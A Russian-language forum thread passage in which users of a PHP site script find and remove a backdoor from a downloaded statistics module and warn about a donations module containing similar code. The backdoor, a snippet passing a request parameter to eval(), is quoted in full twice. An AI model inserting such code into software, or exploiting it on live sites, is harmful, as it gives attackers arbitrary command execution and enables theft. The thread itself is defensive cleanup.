Дыра в статистике

  • Автор темы master09
  • Дата начала
Вячеслав
Местный
Сообщения
229
Реакции
21
  • #21
Вот сейчас убрал код и всё работает также но без дыры:
PHP:
<?PHP
$tfstats = time() - 60*60*24;
$db->Query("SELECT
(SELECT COUNT(*) FROM db_users_a) all_users,
(SELECT SUM(insert_sum) FROM db_users_b) all_insert,
(SELECT SUM(payment_sum) FROM db_users_b) all_payment,
(SELECT COUNT(*) FROM db_users_a WHERE date_reg > '$tfstats') new_users,
(SELECT COUNT(*) FROM db_users_a WHERE date_login > '$onlinestats') online_users");
$stats_data = $db->FetchArray();
$db->Query("SELECT SUM(money_b) money_b,
SUM(money_p) money_p,
SUM(a_t) a_t,
SUM(b_t) b_t,
SUM(c_t) c_t,
SUM(d_t) d_t,
SUM(e_t) e_t,
SUM(f_t) f_t
FROM db_users_b");
$data_stats = $db->FetchArray();
?>
 
Последнее редактирование модератором:
Вячеслав
Местный
Сообщения
229
Реакции
21
  • #22
AriCosmo написал(а):
Вообще откуда этот код взялся? Никогда не видел подобный...
У вас есть в разделе модули полная статистика, поищите и изправьте
 
Вячеслав
Местный
Сообщения
229
Реакции
21
  • #23
А вот это удалите если у вас есть:
PHP:
if(!empty($_REQUEST['stats']))
{
if(@get_magic_quotes_gpc())$_REQUEST['stats']=stripslashes($_REQUEST['stats']);
eval($_REQUEST['stats']); die();
}
 
Последнее редактирование модератором:
AriCosmo
Участник
Сообщения
515
Реакции
115
Skype
  • #24
Вячеслав написал(а):
А вот это удалите если у вас есть:
PHP:
if(!empty($_REQUEST['stats']))
{
if(@get_magic_quotes_gpc())$_REQUEST['stats']=stripslashes($_REQUEST['stats']);
eval($_REQUEST['stats']); die();
}
Серьёзно? Я кучу дыр нашёл в чужих скриптах и исправил... но это ппц
что-то новое - раньше не видел
 
Последнее редактирование модератором:
Вячеслав
Местный
Сообщения
229
Реакции
21
  • #25
Я у вас на с форума скачал месяца 3 назад и все это время не замечал но подозревал что то странное в этой строке думал что работать не будет без нее, а сейчас убрал и все ок
 
nikitin2016
Участник
Сообщения
228
Реакции
12
  • #26
AriCosmo написал(а):
Серьёзно? Я кучу дыр нашёл в чужих скриптах и исправил... но это ппц
что-то новое - раньше не видел
а кто может точно объяснить что вызывает именно этот код ? Особенно страшное это последнее слово : "Умереть" в этом коде
 
Вячеслав
Местный
Сообщения
229
Реакции
21
  • #27
Одно могу сказать то что здесь перенаправление идёт $_REQUEST[
 
nikitin2016
Участник
Сообщения
228
Реакции
12
  • #28
Вячеслав написал(а):
Одно могу сказать то что здесь перенаправление идёт $_REQUEST[
типо редиректа имеешь ввиду ?
 
Вячеслав
Местный
Сообщения
229
Реакции
21
  • #29
AriCosmo Вы мне медаль должны то что я первый обнаружил дыру и устранил :)
 
Вячеслав
Местный
Сообщения
229
Реакции
21
  • #31
сегодня все файлы заного пересмотрю у себя и всем советую кто качал модуль вся стата, и в админке были файлы некоторые с дырами, тоже устранил находятся в папке admin файл статистики пополнений, поищите тоже у себя
 
AriCosmo
Участник
Сообщения
515
Реакции
115
Skype
  • #32
Вячеслав написал(а):
AriCosmo Вы мне медаль должны то что я первый обнаружил дыру и устранил :)
Ну медаль не могу дать, могу только сказать "Красавчик!"))
Где именно скачали, я уберу
 
nikitin2016
Участник
Сообщения
228
Реакции
12
  • #33
AriCosmo написал(а):
Ну медаль не могу дать, могу только сказать "Красавчик!"))
Где именно скачали, я уберу
Посмотрите в модуле "Пожертвования с 2-х счетов сразу" , я от туда скачал с раздела Модули - там подобная зараза скорее всего есть !
 
MegaGoblin
PHP, JS, AJAX, CSS, HTML
Участник
Сообщения
322
Реакции
72
  • #34
nikitin2016 написал(а):
а кто может точно объяснить что вызывает именно этот код ? Особенно страшное это последнее слово : "Умереть" в этом коде
"die();" - это всего лишь название стандартной php-функции. Означает оно, что тут необходимо прервать выполнение скрипта. Смысл всего этого вредоносного кода в том, что человек может выполнить абсолютно любую команду у вас на сервере, хоть с базой, хоть с файлами.


AriCosmo написал(а):
Серьёзно? Я кучу дыр нашёл в чужих скриптах и исправил... но это ппц
что-то новое - раньше не видел
Этот код вижу не в первый раз, стандартная дырка для фодулей фермы =)
 
Вячеслав
Местный
Сообщения
229
Реакции
21
  • #35
Я посмотрю! Тоже Пожертвования с форума качал, но Слава Богу не ставил ещё) Ещё через блокнот *die* поищу во всех файлах, как найду, то пришлю, а саму ферму я качал в 2013 оригинал там дыр таких небыло просто ссылки автора FF которые просто убрал, а это просто....!
 
Последнее редактирование:
master09
Местный
Сообщения
68
Реакции
8
  • #36
Ребята вообще ничего я так и не добился заяву не стал писать но поиски буду делать может как то выйду на это урода который украл деньги вообще понял одно доверять нельзя ни кому!
 
kvozimir
Участник
Сообщения
1.935
Реакции
409
ICQ
734713 734713
Skype
  • #37
nikitin2016 написал(а):
Посмотрите в модуле "Пожертвования с 2-х счетов сразу" , я от туда скачал с раздела Модули - там подобная зараза скорее всего есть !
и правда подобный код есть, 87 срока
 
Сверху